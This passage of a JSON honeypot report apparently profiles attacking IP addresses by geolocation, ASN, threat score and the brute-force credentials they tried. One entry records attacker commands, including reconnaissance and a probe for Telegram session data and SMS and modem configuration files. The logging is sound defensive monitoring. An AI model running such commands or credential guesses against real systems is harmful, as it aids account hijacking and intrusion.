        "last_seen_30d": "2026-03-09T15:29:33.617000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 53,
        "Suricata": 19
      }
    },
    "14.1.106.9": {
      "attack_count": 50,
      "first_seen": "2026-03-20T09:12:31.559Z",
      "last_seen": "2026-03-20T09:17:56.582Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T09:12:31.559000+00:00",
        "last_seen_30d": "2026-03-20T09:19:05.135000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "182.116.123.246": {
      "attack_count": 50,
      "first_seen": "2026-03-07T19:46:02.042Z",
      "last_seen": "2026-03-07T19:51:26.562Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T19:46:02.042000+00:00",
        "last_seen_30d": "2026-03-07T19:52:35.561000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "182.126.252.15": {
      "attack_count": 50,
      "first_seen": "2026-03-11T23:03:12.198Z",
      "last_seen": "2026-03-11T23:08:36.672Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T23:03:12.198000+00:00",
        "last_seen_30d": "2026-03-11T23:09:37.630000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "39.79.68.31": {
      "attack_count": 50,
      "first_seen": "2026-03-28T06:46:33.638Z",
      "last_seen": "2026-03-28T06:51:58.076Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T06:46:33.638000+00:00",
        "last_seen_30d": "2026-03-28T06:53:06.535000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.43.68": {
      "attack_count": 46,
      "first_seen": "2026-03-03T18:02:15.654Z",
      "last_seen": "2026-03-03T18:07:14.055Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 6.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:02:15.654000+00:00",
        "last_seen_30d": "2026-03-06T01:33:10.868000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 27
      }
    },
    "152.52.229.26": {
      "attack_count": 34,
      "first_seen": "2026-03-16T22:32:19.675Z",
      "last_seen": "2026-03-16T22:35:25.997Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T22:32:19.675000+00:00",
        "last_seen_30d": "2026-03-16T22:37:15.257000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 4
      }
    },
    "103.213.112.126": {
      "attack_count": 30,
      "first_seen": "2026-03-27T02:21:49.945Z",
      "last_seen": "2026-03-27T02:25:04.413Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T02:21:49.945000+00:00",
        "last_seen_30d": "2026-03-27T02:26:11.471000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "43.248.236.84": {
      "attack_count": 30,
      "first_seen": "2026-03-28T16:11:25.730Z",
      "last_seen": "2026-03-28T16:15:13.355Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 133275,
      "as_org": "Gigantic Infotel Pvt Ltd",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T16:11:25.730000+00:00",
        "last_seen_30d": "2026-03-28T16:16:20.892000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "38.188.160.86": {
      "attack_count": 28,
      "first_seen": "2026-03-10T23:01:56.624Z",
      "last_seen": "2026-03-11T00:33:03.119Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "020290",
        "080890",
        "210282",
        "arabesque",
        "tarik"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:01:56.624000+00:00",
        "last_seen_30d": "2026-03-11T00:34:05.931000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 14
      }
    },
    "45.150.109.155": {
      "attack_count": 24,
      "first_seen": "2026-03-31T15:26:28.527Z",
      "last_seen": "2026-03-31T22:24:30.996Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "toor"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 62005,
      "as_org": "BlueVPS OU",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T15:26:28.527000+00:00",
        "last_seen_30d": "2026-03-31T22:25:36.884000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 8
      }
    },
    "185.242.226.45": {
      "attack_count": 20,
      "first_seen": "2026-03-06T16:14:09.809Z",
      "last_seen": "2026-03-22T15:25:55.116Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 79.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 8908,
        "days_active_30d": 25,
        "ports_targeted_30d": 496,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-02T00:08:52+00:00",
        "last_seen_30d": "2026-03-26T02:36:49.332000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5314,
        "Honeytrap": 3378,
        "Dionaea": 68,
        "Adbhoney": 67,
        "Miniprint": 28,
        "Cowrie": 20,
        "Dicompot": 16,
        "Ciscoasa": 8,
        "ConPot": 8,
        "H0neytr4p": 1
      }
    },
    "38.188.160.254": {
      "attack_count": 15,
      "first_seen": "2026-03-10T23:28:31.407Z",
      "last_seen": "2026-03-11T00:12:15.445Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "101181",
        "hehehe1",
        "interim"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:28:31.407000+00:00",
        "last_seen_30d": "2026-03-11T00:13:24.790000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "47.253.5.130": {
      "attack_count": 15,
      "first_seen": "2026-03-03T12:51:02.233Z",
      "last_seen": "2026-03-28T11:49:31.399Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 65.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.9,
        "persistence": 24.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 29,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T01:27:10.480000+00:00",
        "last_seen_30d": "2026-03-30T14:37:51.223000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 90,
        "Honeytrap": 17,
        "Cowrie": 15
      }
    },
    "119.148.49.82": {
      "attack_count": 14,
      "first_seen": "2026-03-09T17:09:23.846Z",
      "last_seen": "2026-03-27T18:07:03.222Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 23923,
      "as_org": "Agni Systems Limited",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T17:09:23.846000+00:00",
        "last_seen_30d": "2026-03-27T18:08:09.843000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 14
      }
    },
    "104.218.165.188": {
      "attack_count": 12,
      "first_seen": "2026-03-20T02:11:02.244Z",
      "last_seen": "2026-03-20T02:11:22.341Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 39.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.7,
        "persistence": 6.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 8,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-20T02:03:04.899000+00:00",
        "last_seen_30d": "2026-03-27T23:35:01.754000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 16,
        "Cowrie": 12
      }
    },
    "147.182.157.61": {
      "attack_count": 12,
      "first_seen": "2026-03-14T15:04:17.361Z",
      "last_seen": "2026-03-14T15:07:20.593Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "root123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T15:04:17.361000+00:00",
        "last_seen_30d": "2026-03-14T15:08:30.370000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "152.32.150.215": {
      "attack_count": 12,
      "first_seen": "2026-03-20T02:16:01.718Z",
      "last_seen": "2026-03-20T02:16:22.145Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 85.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 321,
        "days_active_30d": 30,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T18:34:08.073000+00:00",
        "last_seen_30d": "2026-03-31T14:29:36.593000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 190,
        "Honeytrap": 119,
        "Cowrie": 12
      }
    },
    "182.90.248.108": {
      "attack_count": 12,
      "first_seen": "2026-03-19T10:11:40.440Z",
      "last_seen": "2026-03-19T11:06:42.750Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-19T10:11:40.440000+00:00",
        "last_seen_30d": "2026-03-19T11:34:05.626000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 10,
        "Honeytrap": 2
      }
    },
    "160.30.4.76": {
      "attack_count": 10,
      "first_seen": "2026-03-18T03:43:26.935Z",
      "last_seen": "2026-03-18T03:43:59.713Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Johor Bahru",
      "asn": 137552,
      "as_org": "Terabix",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T03:43:26.935000+00:00",
        "last_seen_30d": "2026-03-18T03:45:04.651000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "35.187.42.217": {
      "attack_count": 10,
      "first_seen": "2026-03-16T09:51:13.725Z",
      "last_seen": "2026-03-16T09:51:21.952Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T09:51:13.725000+00:00",
        "last_seen_30d": "2026-03-16T09:52:26.874000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "49.229.72.68": {
      "attack_count": 10,
      "first_seen": "2026-03-26T00:29:52.509Z",
      "last_seen": "2026-03-26T13:59:05.898Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "erwin",
        "saeed"
      ],
      "passwords_attempted": [
        "erwinpass",
        "saeed123!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 45458,
      "as_org": "SBN-ISPAWN-ISP and SBN-NIXAWN-NIX",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T00:29:52.509000+00:00",
        "last_seen_30d": "2026-03-26T14:00:08.561000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "77.90.185.40": {
      "attack_count": 10,
      "first_seen": "2026-03-06T02:12:45.407Z",
      "last_seen": "2026-03-06T05:25:17.425Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "#2025Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:59:02.081000+00:00",
        "last_seen_30d": "2026-03-06T05:26:17.769000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 10,
        "Heralding": 1
      }
    },
    "20.14.75.2": {
      "attack_count": 7,
      "first_seen": "2026-03-17T01:50:03.483Z",
      "last_seen": "2026-03-17T01:50:13.501Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 13.3,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 16,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T09:14:27+00:00",
        "last_seen_30d": "2026-03-17T01:51:22.488000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 7,
        "Honeytrap": 4
      }
    },
    "193.29.13.64": {
      "attack_count": 6,
      "first_seen": "2026-03-14T16:39:32.285Z",
      "last_seen": "2026-03-14T17:39:01.137Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 42397,
      "as_org": "Bunea TELECOM SRL",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 6080,
        "days_active_30d": 1,
        "ports_targeted_30d": 442,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-14T16:39:32+00:00",
        "last_seen_30d": "2026-03-14T17:40:40.715000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3657,
        "Honeytrap": 2373,
        "Dionaea": 15,
        "ConPot": 12,
        "Redishoneypot": 9,
        "Cowrie": 6,
        "Dicompot": 3,
        "Miniprint": 3,
        "CitrixHoneypot": 2
      }
    },
    "196.204.71.189": {
      "attack_count": 6,
      "first_seen": "2026-03-02T06:23:47.375Z",
      "last_seen": "2026-03-29T06:50:04.528Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 24835,
      "as_org": "RAYA Telecom - Egypt",
      "threat_score": 41.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.5,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:23:47.375000+00:00",
        "last_seen_30d": "2026-03-29T06:51:08.867000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "101.126.64.76": {
      "attack_count": 5,
      "first_seen": "2026-03-11T04:28:51.170Z",
      "last_seen": "2026-03-11T04:28:53.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "wso2"
      ],
      "passwords_attempted": [
        "wso2123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
